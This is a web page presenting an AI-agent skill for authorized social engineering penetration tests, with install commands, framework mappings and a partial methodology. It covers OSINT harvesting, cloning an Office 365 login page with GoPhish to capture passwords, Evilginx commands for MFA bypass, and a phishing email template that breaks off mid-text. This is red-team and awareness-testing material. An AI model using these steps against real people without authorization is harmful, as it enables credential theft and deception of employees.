abusing-dpapi-for-cred…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Design and execute a social engineering penetration test combining OSINT-driven target profiling with phishing, vishing, smishing, and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx to measure human security resilience.
Claude Code
$ npx -y skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test --agent claude-code
Codex
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test -a codex -y
Cursor
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test -a cursor -y
Gemini CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test -a gemini-cli -y
GitHub Copilot
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test -a github-copilot -y
OpenCode
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test -a opencode -y
Windsurf
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-social-engineering-penetration-test -a windsurf -y
name: conducting-social-engineering-penetration-test
description: Design and execute a social engineering penetration test combining OSINT-driven target profiling with phishing, vishing, smishing, and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx to measure human security resilience. Use when scoping or running an authorized human-attack-surface test and reporting results to identify security awareness training gaps.
domain: cybersecurity
subdomain: penetration-testing
tags:
- social-engineering
- phishing
- vishing
- pretexting
- GoPhish
- SET
- OSINT
- security-awareness
- red-team
version: '1.0'
author: mahipal
license: Apache-2.0
atlas_techniques:
- AML.T0088
- AML.T0052
nist_ai_rmf:
- GOVERN-6.2
- MAP-5.2
nist_csf:
- ID.RA-01
- ID.RA-06
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1566
- T1598
- T1566.004
- T1204.001
- T1589
mitre_f3:
version: '1.1'
tactics:
- reconnaissance
- initial-access
- resource-development
techniques:
- id: T1598
name: Phishing for Information
tactic: reconnaissance
source: attack
- id: T1660
name: Phishing
tactic: initial-access
source: attack
- id: F1029
name: Gather Customer Information
tactic: reconnaissance
source: f3
- id: F1032
name: Impersonate Official
tactic: initial-access
source: f3
- id: T1557
name: Adversary-in-the-Middle
tactic: initial-access
source: attack
- id: F1020.002
name: 'Create Fake Materials: Fake Website'
tactic: resource-development
source: f3Social engineering penetration testing assesses an organization's human attack surface through controlled simulation of real-world deception techniques. According to Verizon DBIR 2024, the human element is involved in approximately 68% of all breaches, with phishing remaining the dominant initial access vector. This skill covers phishing, vishing (voice phishing), smishing (SMS phishing), and physical pretexting campaigns using tools like GoPhish, the Social Engineer Toolkit (SET), and Evilginx.
# Email harvesting theHarvester -d targetcorp.com -b all -l 500 -f harvester_results # LinkedIn OSINT (manual + tools) # Gather: names, roles, departments, email format # Identify: new hires, IT admins, finance team, executives # Email format discovery # Check: first.last@, flast@, firstl@ # Verify with: hunter.io, phonebook.cz, email-checker.net # Social media OSINT # Twitter/X: employees posting about work tools/frustrations # Facebook: corporate event photos, office layout # GitHub: employee repos with corporate email addresses # Domain intelligence dig targetcorp.com MX +short dig targetcorp.com TXT +short # Check for SPF, DKIM, DMARC records # Weak DMARC = easier email spoofing # Check breach databases (authorized) # HaveIBeenPwned API for corporate emails # Identify employees with compromised credentials
| Group | Count | Pretext | Attack Vector | |-------|-------|---------|--------------| | Finance | 15 | Invoice approval | Phishing (credential harvest) | | IT Help Desk | 8 | Password reset | Vishing | | Executives | 5 | Board meeting update | Spear phishing | | New Hires (< 90 days) | 12 | HR onboarding form | Phishing (payload) | | All Employees | 200 | IT security update | Broad phishing |
# Register lookalike domain # targetcorp.com -> targetc0rp.com, targetcorp-secure.com, targetcorp.net # Set up GoPhish server sudo apt install gophish # Edit config.json for admin and phishing server ports gophish # Configure sending profile in GoPhish # SMTP server: mail.attackdomain.com # From: it-security@targetcorp-secure.com # Headers: proper DKIM/SPF for attack domain # Create landing page (credential harvesting) # Clone legitimate login page (Office 365, Okta, etc.) # GoPhish: Import Site -> https://login.microsoftonline.com # Enable: Capture Credentials, Capture Passwords # Redirect to real site after capture # Set up Evilginx for MFA bypass (authorized testing only) evilginx2 : config domain attackdomain.com : config ipv4 <server_ip> : phishlets hostname o365 login.targetcorp-secure.com : phishlets enable o365 : lures create o365 : lures get-url 0
{
"campaign": {
"name": "IT Security Update - Q1 2025",
"template": {
"name": "Mandatory Security Training",
"subject": "Action Required: Complete Security Awareness Training by Friday",
"html": "<html>...[branded email with urgency]...</html>",
"from": "IT Security Team <security@targetcorp-secure.com>"
},
"landing_page": "Office 365 Login Clone",
"sending_profile": "Phishing SMTP",
"groups": ["All Employees - Batch 1"],
"launch_date": "2025-03-10T09:00:00Z",
"send_by_date": "2025-03-10T12:00:00Z"
}
}**Template 1 — IT Security Update:**
Subject: [Action Required] Mandatory Password Reset - Security Incident
From: IT Security <security@targetcorp-secure.com>
Dear {FirstName},
Our sec817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials)…
Prepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev…
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence…
Detect dangerous ACL misconfigurations in Active Directory using ldap3
Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…
Vercel AI SDK patterns for the installed major (ui/package.json: `ai` 6.x, `@ai-sdk/react` 3.x). The skill name is historical;…